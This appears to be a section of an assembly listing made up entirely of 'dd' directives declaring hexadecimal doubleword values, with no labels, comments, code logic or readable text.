dd 0B0EE592Dh, 2C20BEFBh, 0C9340B5Fh, 0D211941Dh, 5A1AF280h
dd 580762B6h, 7DAA24CEh, 0BCF14Ch, 0F793DE27h, 0BB3C57C7h
dd 54940800h, 0AC31D311h, 81FD13B4h, 220E8DFh, 0C5EDBED5h
dd 928CDCDEh, 3F04F106h, 0EA00AC6Eh, 7CDF4D98h, 0DD00B339h
dd 4290B81Fh, 99C5CFCh, 8977FA4Fh, 260090E4h, 0B1E6B8F7h
dd 159148h, 977C1F9Fh, 552FFA35h, 0EA00109Fh, 73A713EEh
dd 6FC21F5h, 0B08F20CAh, 8E258AF2h, 0EE74A0A1h, 4EF8491Eh
dd 0FF0C8DBh, 74D982h, 333A0441h, 0B95491E7h, 2F0113E0h
dd 0E1D1A967h, 8C603287h, 41080038h, 22055923h, 855A0115h
dd 5023A02Fh, 45793700h, 76723CB5h, 3C74F931h, 5E92048Fh
dd 0A4562151h, 0CE3C998h, 14568A7Eh, 83007410h, 5F140AD4h
dd 0D65AE9CDh, 2AE0C422h, 744674FCh, 5D3B7E00h, 8FFE50D7h
dd 8D28D40Ch, 0FD984Eh, 0A59CFFB5h, 0B756FC3Dh, 14D71C24h
dd 32801311h, 46550D84h, 9DD1448Ch, 58843A1Ch, 0BC920381h
dd 162BB128h, 0B21C12C4h, 0C0A8F7D0h, 3672F6E8h, 0CA8FC21Fh
dd 0EAB922C4h, 0A110E4FCh, 0C23C5088h, 13E2780Fh, 2110F853h
dd 43D10330h, 0FDB585A8h, 1288E88Dh, 7F00699Bh, 521856ADh
dd 705C5038h, 93030B83h, 149DBDFFh, 0C7827111h, 0AF605DA1h
dd 0EAE0A6FAh, 0DCE49Fh, 0BF784C2Dh, 0A08C8666h, 7DC45E13h
dd 0AE051804h, 441100A4h, 10C40C61h, 30175B91h, 0E60F5514h
dd 9F760D06h, 0C26142D2h, 3BD4E2F0h, 8107C56h, 8C4DFCh
dd 429DC059h, 573E619Ch, 0B74E2498h, 70B90C44h, 0C02254F2h
dd 84A47E5Ah, 850C00B7h, 0CE833A44h, 0F81BEC1h, 0C6754888h
dd 0AD49A802h, 0D17D005Dh, 0D50FF5E8h, 3729BA33h, 0DE7C1482h
dd 0C0976B14h, 2D80D091h, 0EEED6485h, 0A1A92212h, 3B449890h
dd 2D05039Bh, 0C5691A3Ch, 4A6F75B8h, 0FF577600h, 8ADE9CE8h
dd 387777C2h, 85037291h, 7BBAED28h, 6C8DB7A1h, 8CC8BCD0h
dd 0AB457300h, 1683FF9Dh, 38E326A0h, 0E7B96070h, 9A0F6701h
dd 0C5861D6Ch, 0B0B28F5Ah, 0B4229912h, 0CD72552Ch, 0C132094h
dd 0B35A80F3h, 0F1245054h, 6D093E40h, 7B183681h, 0DB7FF402h
dd 0F1D8D1DDh, 0E4F018C6h, 5812FAFFh, 1403077Fh, 0E161EDDDh
dd 4972981Ch, 5EFCC06Dh, 0A1649892h, 3B2E3C2Ah, 6E2360h
dd 0DA5480F4h, 0A805333Bh, 0AB0B57A9h, 771050E8h, 0C09088D4h
dd 0BA2D1F11h, 6CCB024Fh, 1F09FE07h, 0D0C0FFA8h, 0E5606763h
dd 1042D12Fh, 83723D28h, 5A37CAC8h, 0CC89D42Ah, 6EC3B112h
dd 0DCC28844h, 0BC8C0013h, 925F84A5h, 2938C89Eh, 74D17C42h
dd 6B004F18h, 0A90D0C4Bh, 131DBFC2h, 0F0F9BE01h, 290561F0h
dd 0DE0F2A16h, 77F2F0B2h, 987230h, 0D484554Fh, 7FF5F842h
dd 0B97021C7h, 0C3BDE0CFh, 55BB14Bh, 0C803B327h, 4309AEE6h
dd 7B54719Fh, 2EB460D4h
dd 2C8197F9h, 0E29B9417h, 6494484Ch, 0C54656h, 95DB4BCBh
dd 290F193h, 117231B5h, 0F851D60Ch, 0CEBB1C00h, 0F7DE820h
dd 723BFC39h, 0B1DCB921h, 94C6C0Dh, 45A6EB0Eh, 6046E410h
dd 1E7BABBh, 504BDC2Bh, 2111C2BEh, 9017F3B8h, 50F44C82h
dd 0BAE040ADh, 63D15919h, 50EAF418h, 0C68916C0h, 0FCC4C069h
dd 6004A826h, 0F75B619Bh, 0F36412FBh, 3075E204h, 70987907h
dd 0DC9D2B01h, 35CD54ADh, 0EB9012FFh, 0F810A8D9h, 990F8CCAh
dd 986D615Dh, 0B5A4A1A8h, 6EC47402h, 691144D4h, 3227FC03h
dd 34C52E61h, 88AC8BFCh, 9D65C1D3h, 228062DBh, 615A09EEh
dd 40916935h, 0D4340241h, 2F2316C0h, 6D23F4h, 62C64087h
dd 0BF09948Bh, 8235DC9Eh, 823910h, 0AB8C0983h, 30C34E4Bh
dd 4CF8BEB5h, 622710DFh, 30B574F8h, 407DBED4h, 0BB0130BAh
dd 0B723161Fh, 0E0621CCAh, 36304CF2h, 0AD32005Eh, 7FC79221h
dd 0EA0BE5FDh, 9D433364h, 80CE11C4h, 0F997704Bh, 0F0055CABh
dd 0F8812h, 0F7552090h, 4098FD65h, 0F8FF2E28h, 7F09D301h
dd 179A1A5Dh, 216D4993h, 0E2516084h, 8FE87F00h, 0B2CD1C59h
dd 5A840219h, 84441129h, 5B98644Dh, 77C858CBh, 7E6AFCC0h
dd 0B45D0212h, 7C938AF5h, 0CA889155h, 0E07999ADh, 675F269Fh
dd 0E024D400h, 5E9A0F0Ch, 57DC0159h, 0E13887E6h, 273181AEh
dd 0C0676C49h, 0A37EB041h, 0D546E047h, 915D0021h, 4B7766DCh
dd 0EA0492E6h, 0DE2F9A33h, 8962E304h, 8F1440E0h, 7309A577h
dd 1180ED51h, 98473F58h, 900A8F58h, 0B5CD58E2h, 0F10809DFh
dd 61100034h, 64398607h, 1AACC401h, 0B099BF5Ch, 17F64864h
dd 0C035F556h, 2161BA10h, 4CB45E5Dh, 5FE020A0h, 88F0CF17h
dd 8E5BC047h, 4F1C7978h, 0E71331E2h, 40FE7806h, 44ECA768h
dd 12967C6h, 6DFEF142h, 53034E0h, 0A9C1B9F6h, 7F9088F5h
dd 0A895BD5Ah, 81ACF014h, 0D735C683h, 0BA2AC007h, 5112A50Fh
dd 54005F45h, 0AA0313D1h, 5E58BE3Bh, 5B1D4746h, 6217800Eh
dd 5F3F980Fh, 4B3C42Eh, 4091E59Ah, 8072BD84h, 59F0385Ah
dd 0A23AA92Fh, 2C00160h, 0E4671585h, 4667344h, 1E3ECD02h
dd 5844AD36h, 2F1A4AC0h, 0C42350h, 0D33F59C0h, 0A0514F6h
dd 0F8F4B895h, 47C1CAAh, 7CA99B5h, 4E1A230h, 0C8888B1Ah
dd 0BD03C219h, 24752528h, 127C01E0h, 0E8B4E997h, 1C67310h
dd 0D9C94CD7h, 61DB0A05h, 0B7D59Ch, 402561B6h, 0CF0BDA74h
dd 0DA31728Ch, 0BC280164h, 4DED5794h, 593180E2h, 0D99EDE04h
dd 20DC908Dh, 617D9024h, 38C017F8h, 5ED0E6D2h, 0A35C0336h
dd 9D9387AEh, 6E2E41A8h, 66D5590Eh, 22811803h, 0BFB0831Fh
dd 0AF253AB3h, 0B079C1h, 1161DDFh, 5D252957h, 0DC486849h
dd 71F42FEAh, 0AFECC52h, 1490435Bh, 5B0242A1h, 8081E85h
dd 103315A0h, 0D626C223h, 41502E10h, 17D8139h, 0D8D5D556h
dd 8D415984h, 0CAAE0759h, 71DDE192h, 18727970h, 0A7F8EF0Dh
dd 0D83B5CC3h, 0FFB5200Fh, 89CD5FA1h, 3C232BC8h, 0DCCFA441h
dd 0CC37588h, 4929F887h, 32B8C36Fh, 81B9A7CAh, 0EC606880h
dd 41018CD3h, 31C3D5F2h, 60396EF9h, 0DCE8BE08h, 35295D04h
dd 2D12D4F2h, 8E7CB8DEh, 5A049008h, 0ED6AF159h, 0DBC11594h
dd 423E137Ch, 6497E820h, 0BB70CFB6h, 0B0BF8490h, 0C150D742h
dd 5CBC892Fh, 0E66080F4h, 3A7CBDFCh, 5B3DA625h, 91F370C0h
dd 0C8A1A627h, 35ED4Ch, 718168B0h, 0E290CFDBh, 0EC94595Eh
dd 990040B2h, 1EB7F29Ch, 0AE2F315Fh, 0A054E8FBh, 0B99D3D81h
dd 3B846990h, 6599BAEAh, 54817A79h, 0C4CC52A8h, 0F0B1B774h
dd 3014479Bh, 0ABD4C730h, 9D098400h, 233433EFh, 957C0029h
dd 1C9BFE21h, 952B55h, 4E9A3CC0h, 0F6A498FBh, 1AD78250h
dd 790C7138h, 30C218CCh, 98D862E1h, 9A3072FCh, 4A2D21E0h
dd 9F922619h, 0C77C0006h, 81BDFD61h, 20D2A54Ah, 0E0DCA979h
dd 415949F0h, 20784639h, 1147E532h, 0DC4CF4A8h, 261CE2E8h
dd 6007A20h, 2D515A25h, 14BCA45Ch, 845367C2h, 40E41510h
dd 496519ACh, 0CCEDCD99h, 0C315D14h, 21EE0313h, 0A71F6DC8h
dd 5FB02110h, 0E2AB149h, 0B3B78354h, 28734EDCh, 0C8292491h
dd 0D5540F30h, 64ABA53Dh, 830438DAh, 5F8D4BD3h, 963AFCE4h
dd 51CE846Ch, 700B09ADh, 0CC9920F0h, 160B715h, 0C2912B0h
dd 1E320CC8h, 246EC3EDh, 27A31FA4h, 0D064F8E7h, 0E48D2260h
dd 72CAE70Ch, 82D38149h, 108BB8C1h, 0CC88E87Fh, 311844C0h
dd 7151DC88h, 52F3061h, 5F2138A8h, 56340C04h, 3BBED4BDh
dd 0CD2374h, 730A98B7h, 0F430BE47h, 14457187h, 5570122Dh
dd 0E9300463h, 213A004Ch, 9548CC30h, 0C8790CE3h, 1397CA40h
dd 0E141F557h, 0A4D26E5Ch, 704CFB43h, 643B90AAh, 558E00FAh
dd 5E2CE032h, 41CE2A63h, 9D7D71DCh, 0FDB4C080h, 249CC3B5h
dd 5604D511h, 0E2B6150Fh, 9DA1280h, 4C334A4h, 0FBA10B9Fh
dd 0B2E0F3D5h, 9B73304Fh, 571C867h, 0A23788B0h, 0F9C900C3h
dd 0A75B3111h, 35036204h, 0A1443428h, 48410738h, 3041B25Dh
dd 0CBDFC7C5h, 1D608B00h, 0D7881AA1h, 0E6573DDEh, 97593809h
dd 534829h, 2E24AE70h, 2263C4h, 5CD9D7A6h, 0DD01E6CCh
dd 61BA6F2Ch, 474857Dh, 1A0628CDh, 0E42348E0h, 939407Ah
dd 34FE8501h, 0F4F53253h, 0DC3CC8F2h, 8AA8C858h, 0A4EC8612h
dd 8CC9F8h, 889EBD63h, 47F5B9B5h, 44C8495Eh, 0BA5B0053h
dd 122F84EDh, 0E5002587h, 56D3084Bh, 37F817Ch, 0AAF7556Ch
dd 0C1DD65BEh, 35A166B4h, 79982334h, 0D449134Eh, 49AA0929h
dd 46023D7Ch, 41B0DE2Bh, 0E55C28E4h, 0B7E5D873h, 6244CF01h
dd 0DE259A75h, 2987A6Fh, 3A220F87h, 0A098F514h, 0CB80D33h
dd 21375880h, 0DC702F00h, 4E7B07E9h, 0EB270B14h, 0E8E1680Ah
dd 0F8BC7819h, 0CEE68C51h, 8B83FA3Bh, 9DDBA592h, 806E11A0h
dd 0EA35503Eh, 6F77014Eh, 79B94DE3h, 0D0202E1Ah, 0A048D7B3h
dd 0A02FE7h, 8AEBACCEh, 910ADF9Dh, 97D44B01h, 0B7A1CCC6h
dd 0BB84812Ah, 5C59F551h, 18822D0h, 80794BEEh, 0B159FC20h
dd 10552005h, 64E51F3Bh, 54109DEDh, 0BF4A51FDh, 207B501Dh
dd 7425515Fh, 886E3Bh, 1BCA3430h, 2FB95606h, 0D0A0F4F3h
dd 1D49BC3Ah, 8D07B4Eh, 0D6B06DBEh, 765CA0B1h, 85A6273Ch
dd 0E60BB8F0h, 46AA089h, 2D52B48h, 0F0ED31BAh, 3C4D2604h
dd 330F02FCh, 0A85E7E13h, 0D4E6481h, 0D9F420D7h, 6EE33A92h
dd 36497C80h, 94CA41A2h, 0B844BDh, 9E55659Ah, 0D3341761h
dd 4158BD09h, 53A07454h, 0B884E8CDh, 0A2098CD1h, 0A0C5F555h
dd 78831BC8h, 7ECB1BF8h, 4A829D7h, 21005D49h, 0B69A1CADh
dd 5BF63527h, 0A99841F4h, 0F8B9C1EBh, 0BB0FCAA5h, 40BAA896h
dd 7D97CCB5h, 64609D34h, 7A274408h, 0C0C4CDD1h, 0FB926E70h
dd 320C8898h, 2179F65Fh, 0DBB0301h, 0A1733F3Ah, 7E6B8DC0h
dd 95F27C02h, 0DC3BF178h, 0A83401D8h, 6968B929h, 757C0BC4h
dd 0CDE0B2C7h, 800FE1C8h, 127BC8A1h, 102DE425h, 0EE5618h
dd 1AC4B1A8h, 0E586F65Ah, 59CE0208h, 0E7300E3h, 0DF80C228h
dd 2590235Ch, 0D47042E1h, 7401DC90h, 357B314Ah, 4DC91A6h
dd 189E4C0h, 7740FF54h, 3D32BFBDh, 94B8E0h, 0F6EE3CF0h
dd 0DE44904Ah, 0AF31C312h, 0F72060CCh, 0CFE22473h, 78226A30h
dd 826091Dh, 828B2Ch, 0AC0185CDh, 107FA9F5h, 9D10E448h
dd 0D7DA0288h, 72517293h
dd 4498B7ECh, 992028BDh, 0AB0B2452h, 8F8E90D8h, 646DE959h
dd 290CFFD8h, 0C43890A9h, 2092102Bh, 0C7865D2Fh, 60C76404h
dd 6B6E145h, 0DE2D8CEBh, 8BE89EAh, 9C01A413h, 0D6457DF4h
dd 23583A6Ah, 4AF80175h, 7E9D613Ah, 0A7BB0091h, 7C40984Dh
dd 96046F7Dh, 74D86810h, 3E00D146h, 7FCA2CB8h, 1371492Ah
dd 0ED3F56ECh, 52D45245h, 80F51868h, 6EB8A9h, 941EBBF2h
dd 0ECACC01Ah, 8E6F3100h, 0FDF51040h, 3068BF41h, 1380C5B5h
dd 83D40184h, 15CD5F8Eh, 0D4217FC0h, 390242E5h, 8AE1C060h
dd 0D82F8681h, 902F58B4h, 3E04689Ah, 0DF550074h, 19B927FCh
dd 2A087E06h, 8DDE5638h, 0E0B107DAh, 1A126022h, 8C40BC29h
dd 0A3FE3021h, 2FD613BBh, 3824A4C9h, 18CC624Bh, 550D058Bh
dd 21B5F9EDh, 75D988h, 0BD6DD5ACh, 0F40C64C5h, 687982h
dd 0D1082085h, 0ABA8753Bh, 62B4A627h, 91E0974Ch, 5BC9804Eh
dd 1B4D230h, 6027B9C4h, 2F779455h, 2556D0CCh, 8905A0Bh
dd 4D2D60BDh, 0E3D8383Bh, 0C250BC59h, 0B0FAD2B6h, 18647044h
dd 0D989FD51h, 0FC9E42E9h, 0EA9A04F4h, 45A549BBh, 8020FDDAh
dd 90C993C3h, 84E1F868h, 4656FC94h, 0C98F05CFh, 0BA05D9C5h
dd 8B36456h, 54C45C07h, 134172E1h, 6B4038D4h, 285E3235h
dd 2CD9998Dh, 6000BE45h, 0CFDF23FFh, 0A52D5502h, 57772401h
dd 0C0C46C90h, 0B04FCE0Ah, 5803C380h, 0D0458772h, 58330774h
dd 8601E00Dh, 0A530BD5Fh, 26EC2C43h, 40094F11h, 30D0D215h
dd 2EF86570h, 0C4006B2Ah, 72BFB6EAh, 1C20DDBh, 92711DFFh
dd 365F0E08h, 0E3EA0274h, 0A2E9B603h, 7415A79Ch, 9456491Ch
dd 984BCA91h, 410916F0h, 0C2595173h, 711C18C8h, 30C69781h
dd 3A16DC04h, 40EE2957h, 0E42E8CE8h, 8638D556h, 0C0655B1Eh
dd 4B5740Fh, 6CF54903h, 6DE93831h, 5815DF00h, 25415F13h
dd 0DC6024B1h, 3AE24155h, 5880B8C0h, 0F37F4E69h, 0A270622Ch
dd 80460B1Fh, 3A60C4BFh, 0F63C36CCh, 0E5C12052h, 0FFE11Dh
dd 83852129h, 3811DDE1h, 96740BA8h, 0F0908C20h, 4B4D5BB1h
dd 3402E3ECh, 0C099E41Dh, 0DBF9E48Fh, 81AC7982h, 60B722CBh
dd 28418BA1h, 0AA881BCh, 5EDF3695h, 3D288191h, 570900CFh
dd 0B11009Eh, 0F1BC3890h, 830E5BD5h, 4AE07Eh, 2E8AAB56h
dd 0C1AF186Dh, 63A320BBh, 410A700h, 59F85650h, 9C661DBCh
dd 8F98043Ah, 7A54EDD3h, 0AAF2D700h, 89EC57F8h, 876E0130h
dd 0A30D7B8Bh, 0B1FC5042h, 8C1F95BBh, 15040834h, 0D8B83ECCh
dd 8CD2E8h, 0BF936A62h, 0A1F554F6h, 0EC58AF9Fh, 4A51E07Dh
dd 875482A9h, 0BE988375h, 0F58016F7h, 2A2444DCh, 668CC3BCh
dd 62A0F2A3h, 5E0328A7h, 561C4104h, 0FE2F8287h, 0BCDF8554h
dd 11C4C637h, 1785701h, 0C47F0FC8h, 7C067DDAh, 0BE5B10D8h
dd 0D4605C40h, 15885548h, 981D0BDBh, 0ADE00450h, 50C01228h
dd 0CFF0282Ch, 58C444CAh, 0BD403E05h, 957CA3CCh, 8C1DC617h
dd 0C848C4F8h, 1C510480h, 5356BCD0h, 837B8240h, 408854E2h
dd 586E5C37h, 5E088702h, 0F2EC47E3h, 0BF7D7D3Ch, 22267061h
dd 0E03C4694h, 0A894C57Fh, 5F1EBFA4h, 38CCD0D3h, 31CAB259h
dd 42543424h, 0E00CF39Dh, 6695B97h, 7D08E5EFh, 9605D1D6h
dd 57DEA2C9h, 0F65F4180h, 4548A1D0h, 1423BC5Bh, 0C583761h
dd 8AA96186h, 0F8812026h, 0B1A853B8h, 0DA1939C6h, 261390Ch
dd 10665442h, 5F809032h, 0E3271692h, 0B40D062h, 9300D782h
dd 0EDBFB003h, 2514DE9Ah, 60E3F2F5h, 67085E4h, 807D82F4h
dd 2CBBF22h, 0BC8C0D57h, 2099947Eh, 0A1BC4827h, 0A0743028h
dd 5B9C5B49h, 226E30C0h, 8AD61698h, 7D68D0EDh, 455B6556h
dd 3BA8CA2h, 0D9A44804h, 10C18C01h, 108C7144h, 0FC0859E9h
dd 62217741h, 31AE08A6h, 1A1BE08h, 0AB017C56h, 65950199h
dd 1572C01h, 0B501DC70h, 0F73B015Dh, 4FC2903h, 8304478Bh
dd 798C0CD0h, 3EA5401Fh, 404C5340h, 9C56854h, 70930B42h
dd 0BB1018E2h, 6A8F0891h, 80FE3980h, 0C8067E8h, 4296809Ch
dd 80CB2E80h, 0EE806218h, 0F471C89Bh, 18AA8608h, 7BEF896Eh
dd 80442580h, 8280A867h, 0B208C4EDh, 6D5A044Ch, 1CD4F004h
dd 4048C010h, 0C4650862h, 0C9030402h, 108CA3D8h, 0C6089A59h
dd 40DB9E40h, 4566BC69h, 0C42966F1h, 485FB31h, 1A0AA67Eh
dd 806E95CCh, 81DA1D19h, 58B40194h, 1974D01h, 888EF5Dh
dd 0E408D640h, 0F3A308E7h, 15E63C08h, 53109035h, 483010E5h
dd 0E819D833h, 4ABA4910h, 3198A010h, 7346C1ABh, 0CEC8803h
dd 0FDD8395Bh, 3C65201h, 6CC91002h, 6B83105Ch, 31EB0510h
dd 0C586E14Ch, 0C910D203h, 0B81082E9h, 562C10B9h, 20940C2Ah
dd 7A75FEDBh, 81E91E80h, 3DA188CBh, 5BF008C3h, 31B8B915h
dd 53E6A1E1h, 1CEED01h, 0C2017074h, 8D97017Fh, 41102E03h
dd 3510BCF5h, 5A1519C8h, 0AA01F661h, 0BF12019Dh, 99607501h
dd 0E309AB79h, 3195B190h, 64A15162h, 0A4A2CD02h, 3202A2D6h
dd 5DCA0284h, 54219806h, 0C413A48Dh, 4676B29h, 0DE0AFB26h
dd 846995BCh, 6A990F10h, 0CA901C1Eh, 10EE8110h, 3B107B77h
dd 872C1083h, 38B0F210h, 0A961C0F8h, 29989B94h, 0D32B2169h
dd 81472380h, 93EC510Ah, 14C404CCh, 0D1B8EC04h, 1FD55204h
dd 1E2AAAD0h, 634D20E0h, 0A6807371h, 54A49009h, 644AC884h
dd 0C4C7950h, 40C94988h, 0DA4037B8h, 201E192h, 48FD02A7h
dd 80D0F0B0h, 5809004h, 0ADCF8045h, 0B4503881h, 4EA6EE7Dh
dd 0C7845C7Eh, 0F9D29809h, 0E0235041h, 6960A980h, 5EA2AF10h
dd 0F6D8072Eh, 221BBA7Ah, 1852DFD1h, 46DCD900h, 839516B8h
dd 0F2E8007Ah, 0C1BA2F02h, 0D62C8903h, 6BB8EDh, 0F27EEE98h
dd 15AE0E23h, 0B28742B0h, 90185F1Ah, 6601D25Dh, 0A45E3CF5h
dd 0B02A9627h, 0E001821Ch, 0C1CABA28h, 83D44698h, 2B140034h
dd 6DA00A45h, 8261B6F4h, 0C32CA128h, 0A29A708Bh, 0AA5D10A1h
dd 0C5AA3066h, 556C7C00h, 4E41F503h, 0A2A114E2h, 0BB008831h
dd 9A348487h, 90C03FD7h, 0E9388E13h, 0A66400B8h, 11C02E53h
dd 0B407C79Fh, 0F5BD089Ah, 5D0D7D00h, 0B1DA38C5h, 99C26200h
dd 0F73C88E3h, 0BD955C03h, 0D9E18DFAh, 58805161h, 58E62055h
dd 0A11BC86Eh, 0A08005C4h, 4E3CE298h, 0DF407A8h, 7668063h
dd 0EE0C1659h, 40A47E99h, 1F7A7E2Fh, 14F4E7D9h, 220AB0C9h
dd 187CAF76h, 0B763C1CAh, 8C5B043Ah, 683F98A1h, 9D949E1Bh
dd 0BBCB0F0Eh, 9A1C101h, 82208751h, 8F83E17Fh, 0BA100511h
dd 0AC68F57Ch, 1904198h, 478D4164h, 33BEE090h, 0ED005D71h
dd 475C22Fh, 0DBCA23h, 0DC59C95Ch, 301531AFh, 0CF1E1A00h
dd 2CCC5DA9h, 0C161F36Ah, 8C5064DDh, 538024h, 0B5896147h
dd 5F766314h, 6600C2E2h, 0B25687B1h, 31F50F20h, 2D90C116h
dd 5BD570C4h, 0ACBA3700h, 0CB7D5F7Eh, 0D6423CF0h, 8309BD1Ch
dd 0B13CA0FBh, 6E62F806h, 0A05855EBh, 909AC40Ch, 34A04h
dd 0F598A988h, 60C2D6BAh, 52D90B36h, 0A25E0A40h, 12CC5B3Eh
dd 17407BCh, 33914047h, 0A5092D12h, 9058380h, 8904C00Ch
dd 0C269C8ABh, 0D28D4930h, 84E11EF0h, 57D5CC1Fh, 850A2618h
dd 0BC27FBA1h, 45D150Eh, 6894C721h, 0D217F4A8h, 8054A145h
dd 4C840770h, 5AA19CECh, 727000FCh, 85098790h, 0B5B4EA00h
dd 3145DDCh, 5EBA024Fh, 43FE3EC6h, 5479C078h, 5C315F00h
dd 5D120D8Bh, 0C901FC8h
dd 3E18799Ah, 2257988Eh, 10218C01h, 0FC1EDB8Fh, 904E98F0h
dd 800350C4h, 0A1012893h, 0E422BDE0h, 0D07A8109h, 64B25B24h
dd 0F35D7D05h, 986CC02h, 7885A84h, 38228F08h, 0C48A0CCh
dd 0F7001755h, 9CD6233h, 0F7351B4h, 85D0FADh, 567E9A63h
dd 16A53803h, 0A2C38A1h, 0D25F09F8h, 985CE0B4h, 0F93EFB6Dh
dd 30840049h, 0B4C9C37Fh, 0B508159Ch, 5C208C0Dh, 82035492h
dd 9CA1D87Dh, 5583C34h, 98710C15h, 3908951Eh, 0C8E6B4h
dd 0FF2A9CB4h, 0D500D0E5h, 6E5A3305h, 395460B9h, 377718Fh
dd 9A388ABAh, 98013562h, 9E019114h, 98482155h, 0A62D32A1h
dd 44574270h, 50E2485Ch, 90FA858Bh, 0DC553E4Bh, 0C82A7F44h
dd 0BA628837h, 49BA910h, 565C88FEh, 8C8C20E3h, 6F642249h
dd 2BCD05F0h, 40AC944Fh, 14661CF6h, 3927002Fh, 0B4DD0221h
dd 31307D0Bh, 0D18CF0CCh, 0AED0FA5h, 1080C23Eh, 0F5114E3Ch
dd 0A0E44430h, 29D97F0Bh, 0BA8C55Ch, 800C2C0h, 0A192BA5Fh
dd 14E9BF20h, 80280809h, 7CC3898Fh, 0B17C0BA7h, 55065F04h
dd 58C83DAAh, 401E7C57h, 22022EC0h, 89A11F51h, 44F46271h
dd 277E2064h, 63B58490h, 0C800DDECh, 74F4B4D6h, 9770C075h
dd 9B5D1E93h, 0D78A4D01h, 555E999Dh, 0D736892h, 8450BC58h
dd 2EB775D1h, 5E00F815h, 0F50A3E9Eh, 8C9955B1h, 3E52A03Fh
dd 999E1F56h, 0D510B0B8h, 0E2D3118h, 7D508273h, 5C506877h
dd 1B2FC9Fh, 7061DE9Eh, 252C80F5h, 0A078AAA0h, 0B92E1FEEh
dd 66021FA4h, 0CA8C521Bh, 71008998h, 0FA5700B4h, 91189A85h
dd 116B10C0h, 69C245h, 39D4179h, 0BC999FB5h, 3020C364h
dd 24DC9488h, 42D40CB8h, 1068A1FEh, 80FD5AF4h, 0CD2A8191h
dd 247D2079h, 941C67C3h, 0C285F4C9h, 62280995h, 0D891C4A7h
dd 0A4018E00h, 0D18D06h, 6684CFB3h, 5D859EBAh, 0B0832CB6h
dd 8663F586h, 0B5DC0210h, 0D280EBEh, 9A7AA880h, 7D807859h
dd 0A7930F0Bh, 2A832C73h, 0A9F0B556h, 0CB0F2B13h, 8A676Ch
dd 84F514B0h, 0EB7301A6h, 47C8F96h, 757085DCh, 0E8533D39h
dd 0B6241C00h, 16C0A568h, 472335A1h, 83D67784h, 0E121DC36h
dd 3BF4069Ch, 2F58402Dh, 37EB03DCh, 5166851Bh, 1825FBA1h
dd 0F0298403h, 0C53CD3A1h, 3197C258h, 305F6E94h, 0A4A4CCBCh
dd 1F179A10h, 9010744Ch, 56BB003Ch, 21A149BAh, 178906Fh
dd 0D8F45507h, 0C9A33754h, 78E8A8E8h, 0A02EBD74h, 0D8B6CF7h
dd 5C778616h, 79610048h, 1A2D2454h, 509AE1B4h, 83388449h
dd 45B7C7Dh, 936986A0h, 9AACC05Eh, 0E80724Ah, 21272A76h
dd 0BA5704A0h, 904BBCF4h, 0FD893E4h, 20CB4409h, 0AE908088h
dd 72F7D2A8h, 5831EA55h, 221858A6h, 789270B9h, 0F00DF520h
dd 7CCB00D1h, 0A459B731h, 0E4A08985h, 4452C75Dh, 90061090h
dd 0E9215601h, 28AB9F99h, 0DFED8020h, 3F9546Bh, 17C9F055h
dd 0A4A09ADEh, 0CF0292DBh, 72D5C494h, 6DB84162h, 3000A83Ch
dd 0DC8FFC14h, 0F4497DF0h, 44632630h, 0BB761203h, 6FF1261Dh
dd 0A8044900h, 28540D70h, 927404E0h, 0C1C407A8h, 40188E80h
dd 99CC5CB7h, 1F44E707h, 39E1E2BCh, 0CC420D0Fh, 0C03D05C9h
dd 0CB782390h, 2FA2440h, 99DC7781h, 13024922h, 1AE0C85Fh
dd 5D0A8616h, 0E07E0901h, 40E27A62h, 822D74h, 98612512h
dd 0CA0D6B91h, 5DD79900h, 0FD86AFA9h, 51820E09h, 0AAAEC2B6h
dd 0EEB3A1E2h, 0DF7684C8h, 39A4B09h, 0B8C9938h, 0CA8D160h
dd 0F7247D0Dh, 951D6368h, 0E42EB699h, 2F54F880h, 590371E5h
dd 0C2C4B057h, 60808D98h, 705A7DF0h, 5B8538C1h, 5DF4B030h
dd 145924C3h, 4C4F2094h, 892807C8h, 0B6084091h, 8598003Ah
dd 0C36A1955h, 8ADC8100h, 0D8E20D9Bh, 9110B920h, 86F40CE0h
dd 5033386Ch, 0A2A1900Ah, 0ED9C80F8h, 0F480E442h, 26F87895h
dd 0A5E84A1Bh, 0C8202820h, 6B09FDFBh, 11980913h, 81EC95C0h
dd 0CA7B06C2h, 68E97033h, 82E4492h, 7478C84h, 0DA5F1580h
dd 6EFDF4h, 0F06CD31Ch, 62031960h, 9BA18791h, 0C4903A5Bh
dd 0B518E2BCh, 7D1340F4h, 0C8564D30h, 1771985Dh, 2802ED5Eh
dd 9500C368h, 0B79A0A8Dh, 0B8F3C95Dh, 0DED703E0h, 0C27E4BEh
dd 96A0080Ch, 1E930FEh, 1F7BCAB2h, 5407F57Dh, 631098CCh
dd 0A1418094h, 0A0804E10h, 0BC9EBA8h, 5454DA97h, 2341D8ECh
dd 9BC3C1E2h, 485EFC48h, 0BF10A0C7h, 7E561663h, 5B99F820h
dd 0EFC8083h, 520D667Ch, 0D06105F5h, 61C042FAh, 7032AE4h
dd 0C8E01116h, 981C9C28h, 24E4A34h, 0C1D2BC8Ch, 0A44A746Eh
dd 0D04814h, 547ABB53h, 0FB5D985Ah, 80C20840h, 93C024Ch
dd 6D3B75F8h, 31ABD8E8h, 14FE1280h, 0E473766Ch, 5CB5FD10h
dd 106BC0B8h, 0AB1CE3A1h, 0A1D7C244h, 0E5EE9AE4h, 8201C21h
dd 0C95664C5h, 23572080h, 0E19A5186h, 6310108Bh, 0A1941C20h
dd 58C02ACAh, 40F579BAh, 3C40CFDBh, 22917800h, 21C0155Ch
dd 0A7CFC1B2h, 70903CBEh, 358B7103h, 2DE2CAB0h, 103AFCE0h
dd 0F5185305h, 189148CCh, 4880119Dh, 572EEE24h, 0F5130C06h
dd 8833D967h, 0C074D02Bh, 1BA11AA4h, 56C1B8F6h, 5042057h
dd 3103F531h, 4C281033h, 0AC89C09Ch, 0A919F513h, 2289090h
dd 0CC20E85Fh, 0A280151h, 0AB8A9EC2h, 3858D2DAh, 3B7DF415h
dd 786F24B4h, 579E62E1h, 4A552820h, 0C9304022h, 0C2ACDE9Ah
dd 0F56E710Ch, 984C6176h, 0E2CEE48h, 0BBB51C42h, 0FC91CA2Bh
dd 0E5DC30ACh, 103C809Ah, 0B0644D5Dh, 7DD38F12h, 0E68E7B9Eh
dd 65F467h, 0A31D0DA4h, 0EF937D3Ah, 3284A494h, 0B4C0400Eh
dd 7C9DF7Ch, 9794DC99h, 7A9D8391h, 89875833h, 0DA15C95Dh
dd 0D39B6D70h, 0EADC415Ah, 640D5F55h, 0F0C4570Ch, 14F0AF1Bh
dd 66CA055Dh, 0C5F521F4h, 0D9E4884Eh, 61CFCC96h, 0D465A106h
